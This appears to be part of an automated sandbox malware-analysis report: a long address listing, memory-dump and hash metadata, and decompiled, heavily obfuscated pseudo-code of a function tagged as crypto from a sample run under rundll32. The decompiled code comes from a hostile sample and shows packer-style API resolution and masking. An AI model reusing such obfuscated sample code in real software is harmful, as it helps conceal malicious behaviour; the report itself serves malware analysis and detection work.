                                                                          0x0012328f
                                                                          0x00123295
                                                                          0x0012329d
                                                                          0x001232a1
                                                                          0x001232a6
                                                                          0x001232a9
                                                                          0x001232b4
                                                                          0x001232b6
                                                                          0x001232b9
                                                                          0x001232bb
                                                                          0x001232c2
                                                                          0x001232c5
                                                                          0x001232c8
                                                                          0x001232ce
                                                                          0x001232d8
                                                                          0x001232db
                                                                          0x001232e1
                                                                          0x001232e8
                                                                          0x001232ee
                                                                          0x001232ee
                                                                          0x001232f6
                                                                          0x001232fa
                                                                          0x001232fd
                                                                          0x00123300
                                                                          0x00123307
                                                                          0x0012330b
                                                                          0x0012330e
                                                                          0x00123315
                                                                          0x00123319
                                                                          0x0012331c
                                                                          0x00123323
                                                                          0x00123326
                                                                          0x00123329
                                                                          0x00123335
                                                                          0x00123338
                                                                          0x0012333f
                                                                          0x00123342
                                                                          0x00123345
                                                                          0x00123348
                                                                          0x00123349
                                                                          0x0012334a
                                                                          0x00123359
                                                                          0x0012335b
                                                                          0x00123360
                                                                          0x00123362
                                                                          0x00123369
                                                                          0x0012336d
                                                                          0x00123370
                                                                          0x00123377
                                                                          0x0012337a
                                                                          0x0012337d
                                                                          0x0012337d
                                                                          0x00123384
                                                                          0x00123387
                                                                          0x0012338a
                                                                          0x00123390
                                                                          0x00123396
                                                                          0x0012339d
                                                                          0x001233a0
                                                                          0x001233a7
                                                                          0x001233aa
                                                                          0x001233ad
                                                                          0x001233b6
                                                                          0x001233b9
                                                                          0x001233c2
                                                                          0x001233c5
                                                                          0x001233d4
                                                                          0x001233db
                                                                          0x001233de
                                                                          0x001233e1
                                                                          0x001233e4
                                                                          0x001233e5
                                                                          0x001233e6
                                                                          0x001233f1
                                                                          0x001233f3
                                                                          0x001233f8
                                                                          0x001233fa
                                                                          0x00123400
                                                                          0x00123407
                                                                          0x0012340a
                                                                          0x00123410
                                                                          0x00123417
                                                                          0x0012341a
                                                                          0x00123420
                                                                          0x00123427
                                                                          0x0012342d
                                                                          0x0012342d
                                                                          0x00123432
                                                                          0x00123439
                                                                          0x0012343c
                                                                          0x0012343f
                                                                          0x00123445
                                                                          0x0012344f
                                                                          0x00123452
                                                                          0x00123458
                                                                          0x00123462
                                                                          0x00123465
                                                                          0x0012346b
                                                                          0x00123473
                                                                          0x0012347a
                                                                          0x00123483
                                                                          0x00123489
                                                                          0x00123490
                                                                          0x00123493
                                                                          0x0012349a
                                                                          0x0012349e
                                                                          0x001234a1
                                                                          0x001234a7
                                                                          0x001234ae
                                                                          0x001234b1
                                                                          0x001234b8
                                                                          0x001234bc
                                                                          0x001234bf
                                                                          0x001234ce
                                                                          0x001234d5
                                                                          0x001234d8
                                                                          0x001234db
                                                                          0x001234de
                                                                          0x001234df
                                                                          0x001234e2
                                                                          0x001234ed
                                                                          0x001234ef
                                                                          0x001234f2
                                                                          0x001234f4
                                                                          0x001234fb
                                                                          0x001234ff
                                                                          0x00123502
                                                                          0x00123509
                                                                          0x0012350d
                                                                          0x00123510
                                                                          0x0012351c
                                                                          0x00123523
                                                                          0x00123529
                                                                          0x00123529
                                                                          0x0012352f
                                                                          0x00123535
                                                                          0x00123538
                                                                          0x0012353f
                                                                          0x00123542
                                                                          0x00123545
                                                                          0x0012354b
                                                                          0x00123555
                                                                          0x00123558
                                                                          0x0012355e
                                                                          0x00123565
                                                                          0x00123568
                                                                          0x00123574
                                                                          0x00123577
                                                                          0x0012357a
                                                                          0x00123581
                                                                          0x00123582
                                                                          0x00123585
                                                                          0x00123595
                                                                          0x00123598
                                                                          0x0012359a
                                                                          0x001235a0
                                                                          0x001235a7
                                                                          0x001235aa
                                                                          0x001235b1
                                                                          0x001235b5
                                                                          0x001235b8
                                                                          0x001235b8
                                                                          0x001235be
                                                                          0x001235c5
                                                                          0x001235cb
                                                                          0x001235ce
                                                                          0x001235d5
                                                                          0x001235d9
                                                                          0x001235dc
                                                                          0x001235e2
                                                                          0x001235ec
                                                                          0x001235ef
                                                                          0x001235f5
                                                                          0x001235fd
                                                                          0x00123604
                                                                          0x00123616
                                                                          0x00123619
                                                                          0x0012361c
                                                                          0x00123622
                                                                          0x00123628
                                                                          0x0012362b
                                                                          0x00123631
                                                                          0x00123638
                                                                          0x0012363b
                                                                          0x00123641
                                                                          0x00123648
                                                                          0x00123657
                                                                          0x0012365a
                                                                          0x00123663
                                                                          0x0012366b
                                                                          0x0012366e
                                                                          0x0012366f
                                                                          0x00123674
                                                                          0x00123675
                                                                          0x0012367f
                                                                          0x00123682
                                                                          0x0012368b
                                                                          0x0012368e
                                                                          0x00123695
                                                                          0x00123698
                                                                          0x0012369b
                                                                          0x001236a1
                                                                          0x001236a9
                                                                          0x001236b0
                                                                          0x001236b6
                                                                          0x001236bb
                                                                          0x001236be
                                                                          0x001236c1
                                                                          0x001236d5
                                                                          0x001236df
                                                                          0x001236e5
                                                                          0x001236e8
                                                                          0x001236f1
                                                                          0x001236f4
                                                                          0x001236fa
                                                                          0x00123701
                                                                          0x00123704
                                                                          0x0012370a
                                                                          0x00123714
                                                                          0x00123717
                                                                          0x00123722
                                                                          0x00123727
                                                                          0x0012372b
                                                                          0x00123730
                                                                          0x00123731
                                                                          0x0012373e
                                                                          0x00123743
                                                                          0x00123745
                                                                          0x0012374c
                                                                          0x00123750
                                                                          0x00123753
                                                                          0x00123759
                                                                          0x00123760
                                                                          0x00123763
                                                                          0x0012376b
                                                                          0x00123772
                                                                          0x00123778
                                                                          0x00123778
                                                                          0x0012377b
                                                                          0x0012377e
                                                                          0x00123783
                                                                          0x00123786
                                                                          0x0012378b
                                                                          0x0012378d
                                                                          0x00123793
                                                                          0x0012379a
                                                                          0x0012379d
                                                                          0x001237a3
                                                                          0x001237ad
                                                                          0x001237b0
                                                                          0x001237b0
                                                                          0x001237b8
                                                                          0x001237bf
                                                                          0x001237c5
                                                                          0x001237c6
                                                                          0x001237cd
                                                                          0x001237d0
                                                                          0x001237d7
                                                                          0x001237da
                                                                          0x001237dd
                                                                          0x001237e3
                                                                          0x001237ed
                                                                          0x001237f0
                                                                          0x001237f6
                                                                          0x001237fe
                                                                          0x00123805
                                                                          0x0012380b
                                                                          0x0012381a
                                                                          0x0012381b
                                                                          0x00123825
                                                                          0x00123828
                                                                          0x0012382e
                                                                          0x00123835
                                                                          0x00123838
                                                                          0x0012383e
                                                                          0x00123845
                                                                          0x0012384b
                                                                          0x00123853
                                                                          0x00123858
                                                                          0x0012385b
                                                                          0x0012385e
                                                                          0x00123864
                                                                          0x0012386e
                                                                          0x00123871
                                                                          0x00123878
                                                                          0x0012387b
                                                                          0x0012387e
                                                                          0x00123884
                                                                          0x0012388c
                                                                          0x00123893
                                                                          0x00123899
                                                                          0x001238a2
                                                                          0x001238a5
                                                                          0x001238ab
                                                                          0x001239ad
                                                                          0x001239bb
                                                                          0x001239c0
                                                                          0x001239c3
                                                                          0x001239c6
                                                                          0x001239c9
                                                                          0x001239ca
                                                                          0x001239cc
                                                                          0x001239cf
                                                                          0x001239d0
                                                                          0x001239d7
                                                                          0x001239da
                                                                          0x001239dd
                                                                          0x001239e0
                                                                          0x001239e1
                                                                          0x001239e3
                                                                          0x001239e7
                                                                          0x001239eb
                                                                          0x001239ee
                                                                          0x001239f4
                                                                          0x001239f7
                                                                          0x001239f7
                                                                          0x001239fc
                                                                          0x00123a11
                                                                          0x001238b1
                                                                          0x001238b2
                                                                          0x001238b6
                                                                          0x001238b9
                                                                          0x001238bf
                                                                          0x001238c6
                                                                          0x001238c9
                                                                          0x001238d0
                                                                          0x001238d4
                                                                          0x001238d7
                                                                          0x001238dd
                                                                          0x001238e5
                                                                          0x001238ec
                                                                          0x001238f5
                                                                          0x00123904
                                                                          0x00123908
                                                                          0x0012390b
                                                                          0x0012390e
                                                                          0x00123915
                                                                          0x00123918
                                                                          0x0012391b
                                                                          0x00123922
                                                                          0x00123926
                                                                          0x00123929
                                                                          0x00123932
                                                                          0x00123935
                                                                          0x0012393d
                                                                          0x00123945
                                                                          0x00123949
                                                                          0x0012394e
                                                                          0x0012394f
                                                                          0x00123961
                                                                          0x00123963
                                                                          0x0012396c
                                                                          0x0012396f
                                                                          0x00123975
                                                                          0x0012397c
                                                                          0x0012397f
                                                                          0x00123985
                                                                          0x0012398d
                                                                          0x00123994
                                                                          0x0012399a
                                                                          0x001239a6
                                                                          0x001239a6

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
                                                                          • Instruction ID: 05d7da398e0e9749399fadf62623a2a89907d8510347ae98bb49faa51aa2431f
                                                                          • Opcode Fuzzy Hash: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
                                                                          • Instruction Fuzzy Hash: 1F522572944608EFEB04DFA0C88A7ADBBF1FF08310F1585AED885EA145E7385664CF19
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00123FAB, Relevance: .6, Instructions: 566COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 89%
                                                                          			E00123FAB(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t346;
				signed int _t351;
				signed int _t352;
				signed int _t355;
				void* _t359;
				void* _t361;
				signed int _t362;
				signed int _t367;
				void* _t369;
				void* _t370;
				signed int _t374;
				signed int _t377;
				signed int _t380;
				signed int _t385;
				void* _t387;
				void* _t389;
				intOrPtr _t390;
				void _t393;
				signed int _t397;
				intOrPtr _t403;
				signed int _t408;
				signed int _t410;
				signed int _t415;
				signed int _t418;
				void* _t420;
				signed int _t421;
				void* _t424;
				signed int _t429;
				signed int _t430;
				signed int _t433;
				void* _t437;
				void* _t439;
				signed int _t440;
				signed int _t443;
				intOrPtr _t445;
				signed int _t451;
				signed int _t454;
				signed int _t457;
				signed int _t459;
				signed int _t471;
				signed int _t473;
				signed int _t475;
				signed int _t478;
				void* _t481;
				signed int _t488;
				signed int _t489;
				signed int _t498;
				signed int _t500;
				signed int _t502;
				signed int _t504;
				signed int _t510;
				signed int _t513;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t520;
				signed int _t525;
				signed int _t528;
				signed int _t530;
				signed int _t532;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				signed int _t544;
				signed int _t548;
				signed int _t553;
				signed int _t559;
				signed int _t562;
				signed int _t565;
				void* _t570;
				void* _t577;
				signed int _t579;
				signed int _t582;
				signed int _t585;
				signed int _t590;
				void* _t591;
				signed int _t595;
				signed int _t598;
				signed int _t601;
				signed int _t604;
				signed int* _t608;
				signed int* _t609;
				signed int* _t610;
				signed int* _t611;
				signed int* _t612;
				signed int* _t613;
				signed int* _t614;
				signed int* _t615;
				signed int* _t616;
				signed int* _t617;
				signed int* _t621;
				signed int* _t622;
				signed int* _t623;

				_t585 = __esi;
				_t454 = __ebx;
				 *(_t598 - 0x1c) =  *(_t598 - 0x1c) & 0x00000000;
				_push( *(_t598 - 0x1c));
				 *_t608 =  *_t608 + __ebx + 0x41c4c0;
				_push( *((intOrPtr*)(__ebx + 0x41f060))());
				_pop( *_t6);
				_push( *(_t598 - 0x20));
				_pop( *_t8);
				_push(__ebx);
				 *_t608 =  *_t608 & 0x00000000;
				 *_t608 =  *_t608 | __ebx + 0x0041cf44;
				_push( *(_t598 - 0x1c));
				 *_t608 = __ebx + 0x41d05b;
				_t346 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x1c) = __edi;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) & 0x00000000;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) ^ (__edi -  *(_t598 - 0x1c) | _t346);
				_t559 =  *(_t598 - 0x1c);
				_t609 = _t608 - 0xfffffffc;
				 *(_t598 - 0x1c) = 0;
				_push( *(_t598 - 0x1c));
				 *_t609 =  *_t609 |  *_t608;
				_push( *(_t598 - 0x1c));
				 *_t609 = __ebx + 0x41c0d0;
				 *(_t598 - 0x20) =  *(_t598 - 0x20) & 0x00000000;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 | __ebx + 0x0041c99a;
				_t351 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x20) = __ecx;
				 *(__ebx + 0x41c6ff) = 0 ^ _t351;
				_t352 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push( *(_t598 - 0x1c));
				 *_t609 = _t352;
				_push(__edx);
				 *_t609 =  *_t609 ^ __edx;
				 *_t609 =  *_t609 ^ __ebx + 0x0041d1ce;
				 *(_t598 - 0x20) = 0;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 ^ __ebx + 0x0041c36e;
				_t355 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x24) = __edx;
				 *(__ebx + 0x41c65d) = 0 ^ _t355;
				_t510 =  *(_t598 - 0x24);
				_t610 = _t609 - 0xfffffffc;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) & 0x00000000;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) | _t510 -  *_t610 ^ (_t355 & 0x00000000) +  *_t609;
				_t513 = _t510;
				_push(_t513);
				 *_t610 =  *_t610 & 0x00000000;
				 *_t610 =  *_t610 ^ __ebx + 0x0041c369;
				_t359 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 + _t359;
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 ^ __ebx + 0x0041c4d6;
				_t361 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t611 = _t610 - 0xfffffffc;
				 *_t611 =  *_t611 | _t513;
				_t514 = _t361;
				_t362 = _t514 + ( *(_t598 - 0x20) & 0x00000000 |  *_t610);
				_t516 = 0;
				 *_t611 = _t516;
				_t471 = 0 ^  *(__ebx + 0x41c434);
				_t519 = 0;
				if(_t471 > _t362) {
					_push(_t471);
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + __ebx + 0x41c369;
					 *(_t598 - 0x1c) = 0;
					_push( *(_t598 - 0x1c));
					 *_t611 =  *_t611 ^ __ebx + 0x0041c4d6;
					_t362 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) & 0x00000000;
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) ^ _t598 ^  *_t611 ^ _t362;
				_t601 = _t598;
				if( *((intOrPtr*)(_t601 - 0x10)) != 2) {
					if( *((intOrPtr*)(_t601 - 0x10)) == 4) {
						_t156 = _t454 + 0x41d1be; // 0x41d1be
						 *_t611 = _t156;
						_t158 = _t454 + 0x41c0a8; // 0x41c0a8
						 *_t611 =  *_t611 & 0x00000000;
						 *_t611 =  *_t611 ^ _t158;
						_push( *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24)));
						_pop( *_t160);
						_push( *(_t601 - 0x20));
						_pop( *_t162);
						 *((intOrPtr*)(_t601 - 8)) = 1;
						_t164 = _t454 + 0x41c6f8; // 0x41c6f8
						 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
						 *_t611 =  *_t611 ^ _t164;
						_t408 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20));
						 *(_t601 - 0x20) = _t519;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) & 0x00000000;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) | _t519 ^  *(_t601 - 0x20) | _t408;
						_t548 =  *(_t601 - 0x20);
						 *((intOrPtr*)(_t601 - 0xc)) = 0x55;
						_t177 = _t454 + 0x41c356; // 0x41c356
						 *(_t601 - 0x1c) =  *(_t601 - 0x1c) & 0x00000000;
						 *_t611 =  *_t611 | _t177;
						_t410 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
						 *(_t601 - 0x24) = _t559;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) & 0x00000000;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) | _t559 & 0x00000000 ^ _t410;
						_t559 =  *(_t601 - 0x24);
						 *((intOrPtr*)(_t601 - 0x18)) = 2;
						_t189 = _t454 + 0x41cc3e; // 0x41cc3e
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 ^ _t189;
						_t193 = _t454 + 0x41cf5b; // 0x41cf5b
						 *_t611 =  *_t611 ^ _t585;
						 *_t611 = _t193;
						_t362 =  *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24));
						 *(_t601 - 0x20) = _t548;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) & 0x00000000;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) | _t548 & 0x00000000 | _t362;
						_t519 =  *(_t601 - 0x20);
					}
				} else {
					_t65 = _t454 + 0x41cb7a; // 0x41cb7a
					 *(_t601 - 0x1c) = 0;
					 *_t611 =  *_t611 + _t65;
					_t68 = _t454 + 0x41c8ec; // 0x41c8ec
					 *(_t601 - 0x24) = 0;
					 *_t611 =  *_t611 ^ _t68;
					_t415 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x24),  *(_t601 - 0x1c));
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) & 0x00000000;
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) ^ (_t585 & 0x00000000 | _t415);
					_t595 = _t585;
					_t76 = _t454 + 0x41c379; // 0x41c379
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 + _t76;
					_t80 = _t454 + 0x41c532; // 0x41c532
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 | _t80;
					_t418 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x20));
					 *_t611 = _t418;
					_t86 = _t454 + 0x41d201; // 0x41d201
					 *_t611 = _t86;
					_t420 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x24));
					_t498 = _t471 & 0x00000000 |  *_t611;
					_t621 =  &(_t611[1]);
					 *_t621 =  *_t621 + _t559;
					_t577 = _t420;
					_t421 = _t577 + _t498;
					_t579 = 0;
					_t500 = _t498 & 0x00000000 ^ (_t421 ^  *_t621 |  *(_t454 + 0x41cc21));
					_t424 = _t421;
					if(_t500 > _t424) {
						_t90 = _t454 + 0x41c532; // 0x41c532
						 *_t621 =  *_t621 & 0x00000000;
						 *_t621 =  *_t621 | _t90;
						_t91 = _t454 + 0x41d201; // 0x41d201
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t621 =  *_t621 | _t91;
						_t451 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x24), _t519);
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) & 0x00000000;
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) | _t601 -  *_t621 ^ _t451;
						_t601 = _t601;
					}
					_t622 = _t621 - 0xfffffffc;
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 |  *_t621;
					_t100 = _t454 + 0x41d01d; // 0x41d01d
					 *_t622 =  *_t622 ^ _t579;
					 *_t622 =  *_t622 | _t100;
					_t101 = _t454 + 0x41c37d; // 0x41c37d
					 *_t622 = _t101;
					_t429 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x1c), _t579, _t519);
					 *(_t601 - 0x20) = _t579;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) & 0x00000000;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) | _t579 & 0x00000000 | _t429;
					_t582 =  *(_t601 - 0x20);
					_t430 =  *((intOrPtr*)(_t454 + 0x41f060))();
					 *_t622 =  *_t622 ^ _t595;
					 *_t622 =  *_t622 | _t430;
					_t111 = _t454 + 0x41c8c2; // 0x41c8c2
					 *_t622 =  *_t622 - _t454;
					 *_t622 =  *_t622 + _t111;
					_t112 = _t454 + 0x41c737; // 0x41c737
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 ^ _t112;
					_t433 =  *((intOrPtr*)(_t454 + 0x41f068))(_t582, _t454, _t595);
					 *_t114 = _t433;
					_push( *(_t601 - 0x20));
					_pop( *_t116);
					_t623 = _t622 - 0xfffffffc;
					 *(_t601 - 0x20) = _t582;
					 *(_t454 + 0x41c606) = _t433 & 0x00000000 |  *_t622;
					_t559 =  *(_t601 - 0x20);
					 *((intOrPtr*)(_t601 - 8)) = 3;
					_t121 = _t454 + 0x41d2fe; // 0x41d2fe
					 *(_t601 - 0x1c) = 0;
					 *_t623 =  *_t623 | _t121;
					_t437 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
					 *_t623 =  *_t623 ^ _t559;
					 *_t623 =  *_t623 + _t437;
					_t125 = _t454 + 0x41d22a; // 0x41d22a
					 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
					 *_t623 =  *_t623 | _t125;
					_t439 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24), _t559);
					_t502 = _t500 & 0x00000000 |  *_t623;
					_t611 =  &(_t623[1]);
					 *(_t601 - 0x24) = _t519;
					_push(_t502 + _t439);
					_t553 =  *(_t601 - 0x24);
					_pop(_t440);
					 *(_t601 - 0x20) = _t440;
					_t504 = _t502 & 0x00000000 ^ (_t440 ^  *(_t601 - 0x20) |  *(_t454 + 0x41c48f));
					_t443 =  *(_t601 - 0x20);
					if(_t504 > _t443) {
						_t136 = _t454 + 0x41d2fe; // 0x41d2fe
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 + _t136;
						_t140 = _t454 + 0x41d22a; // 0x41d22a
						 *(_t601 - 0x20) = 0;
						 *_t611 =  *_t611 ^ _t140;
						_t443 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x20),  *(_t601 - 0x24));
					}
					 *_t611 = _t595;
					 *(_t454 + 0x41c2cf) = 0 ^ _t443;
					_t585 = 0;
					 *((intOrPtr*)(_t601 - 0xc)) = 0x11;
					_t146 = _t454 + 0x41d09f; // 0x41d09f
					 *_t611 =  *_t611 - _t559;
					 *_t611 =  *_t611 + _t146;
					_t445 =  *((intOrPtr*)(_t454 + 0x41f060))(_t559);
					 *(_t601 - 0x24) = _t504;
					 *((intOrPtr*)(_t454 + 0x41ce4e)) = _t445;
					_t471 =  *(_t601 - 0x24);
					 *((intOrPtr*)(_t601 - 0x18)) = 4;
					_t152 = _t454 + 0x41c4f7; // 0x41c4f7
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + _t152;
					_t362 =  *((intOrPtr*)(_t454 + 0x41f060))(_t471);
					 *_t611 = _t553;
					 *(_t454 + 0x41c895) = 0 ^ _t362;
					_t519 = 0;
				}
				_t520 = _t519 ^ _t519;
				 *_t611 =  *_t611 - _t559;
				 *_t611 = _t520;
				_t201 = _t454 + 0x41c61d; // 0x41c61d
				 *_t611 =  *_t611 ^ _t585;
				 *_t611 = _t201;
				_t367 =  *((intOrPtr*)(_t454 + 0x41f060))(_t585, _t559, _t362);
				 *_t611 = _t367;
				_t204 = _t454 + 0x41cf67; // 0x41cf67
				 *(_t601 - 0x24) = 0;
				 *_t611 =  *_t611 ^ _t204;
				_t369 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24),  *(_t601 - 0x1c));
				_pop( *_t208);
				_t473 = _t471 & 0x00000000 ^  *(_t601 - 0x24);
				 *(_t601 - 0x24) = _t559;
				_push(_t473 + _t369);
				_t562 =  *(_t601 - 0x24);
				_pop(_t370);
				_t475 = _t473 & 0x00000000 | _t601 & 0x00000000 ^  *(_t454 + 0x41c5dc);
				_t604 = _t601;
				if(_t475 > _t370) {
					_t213 = _t454 + 0x41c61d; // 0x41c61d
					 *(_t604 - 0x1c) = 0;
					 *_t611 =  *_t611 ^ _t213;
					_t216 = _t454 + 0x41cf67; // 0x41cf67
					 *(_t604 - 0x20) = 0;
					 *_t611 =  *_t611 | _t216;
					_t403 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t604 - 0x20),  *(_t604 - 0x1c));
					 *(_t604 - 0x1c) = _t475;
					 *((intOrPtr*)(_t454 + 0x41cf4f)) = _t403;
					_t475 =  *(_t604 - 0x1c);
				}
				_t612 =  &(_t611[1]);
				 *_t612 = _t475;
				_t478 = 0;
				 *_t612 = _t520 & 0x00000000 |  *_t611;
				_t225 = _t454 + 0x41cef6; // 0x41cef6
				 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
				 *_t612 =  *_t612 | _t225;
				_t229 = _t454 + 0x41ceb9; // 0x41ceb9
				 *_t612 =  *_t612 ^ _t604;
				 *_t612 =  *_t612 ^ _t229;
				_t374 =  *((intOrPtr*)(_t454 + 0x41f068))(_t604,  *(_t604 - 0x1c),  *(_t604 - 0x24));
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) & 0x00000000;
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) | _t478 ^  *_t612 | _t374;
				_t481 = _t478;
				_t613 = _t612 - 0xfffffffc;
				_t525 = _t374 %  *(_t604 - 0x18);
				 *_t613 =  *_t613 & 0x00000000;
				 *_t613 =  *_t613 | _t525;
				_t241 = _t454 + 0x41c52d; // 0x41c52d
				 *(_t604 - 0x24) = 0;
				 *_t613 =  *_t613 ^ _t241;
				_t377 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24), _t481);
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) & 0x00000000;
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) | _t525 & 0x00000000 | _t377;
				_t528 = _t525;
				_t530 = _t528 & 0x00000000 ^  *_t613;
				_t614 = _t613 - 0xfffffffc;
				 *((intOrPtr*)(_t604 - 4)) =  *((intOrPtr*)(_t604 - 4)) - _t530;
				 *(_t604 - 0x24) = 0;
				 *_t614 =  *_t614 | _t530;
				_t253 = _t454 + 0x41c7ee; // 0x41c7ee
				 *_t614 =  *_t614 ^ _t562;
				 *_t614 =  *_t614 ^ _t253;
				_t254 = _t454 + 0x41c513; // 0x41c513
				 *(_t604 - 0x20) = 0;
				 *_t614 =  *_t614 | _t254;
				_t380 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t604 - 0x20), _t562,  *(_t604 - 0x24), _t481);
				 *(_t604 - 0x20) = _t585;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) & 0x00000000;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) ^ _t585 & 0x00000000 ^ _t380;
				_t532 =  *_t614;
				_t615 =  &(_t614[1]);
				 *(_t604 - 0x1c) = _t380;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) & 0x00000000;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) | _t380 ^  *(_t604 - 0x1c) ^ _t532;
				_t271 = _t454 + 0x41ccc7; // 0x41ccc7
				 *(_t604 - 0x24) = 0;
				 *_t615 =  *_t615 | _t271;
				_t385 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24));
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) & 0x00000000;
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) | _t562 -  *_t615 | _t385;
				_t565 = _t562;
				_t590 =  *(_t604 - 0x20) & 0x00000000 ^ _t454 & 0x00000000 ^  *(_t604 + 8);
				_t457 = _t454;
				_t280 = _t457 + 0x41c550; // 0x41c550
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t280;
				_t387 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20));
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t387;
				_t286 = _t457 + 0x41d34c; // 0x41d34c
				 *_t615 = _t286;
				_t389 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20),  *(_t604 - 0x20));
				_t616 = _t615 - 0xfffffffc;
				 *_t289 = _t389;
				 *(_t604 - 0x24) =  *(_t604 - 0x24) + (0 ^  *_t615);
				_push( *(_t604 - 0x24));
				_pop(_t390);
				_t534 = _t532;
				 *(_t604 - 0x1c) = _t534;
				_t537 =  *(_t604 - 0x1c);
				if( *((intOrPtr*)(_t457 + 0x41ccf8)) > _t390) {
					_t296 = _t457 + 0x41c550; // 0x41c550
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t296;
					_t300 = _t457 + 0x41d34c; // 0x41d34c
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t300;
					_t390 =  *((intOrPtr*)(_t457 + 0x41f064))( *(_t604 - 0x1c),  *(_t604 - 0x1c));
				}
				 *(_t604 - 0x24) = _t537;
				 *((intOrPtr*)(_t457 + 0x41ce46)) = _t390;
				_t540 =  *(_t604 - 0x24);
				 *(_t604 - 0x1c) = _t540;
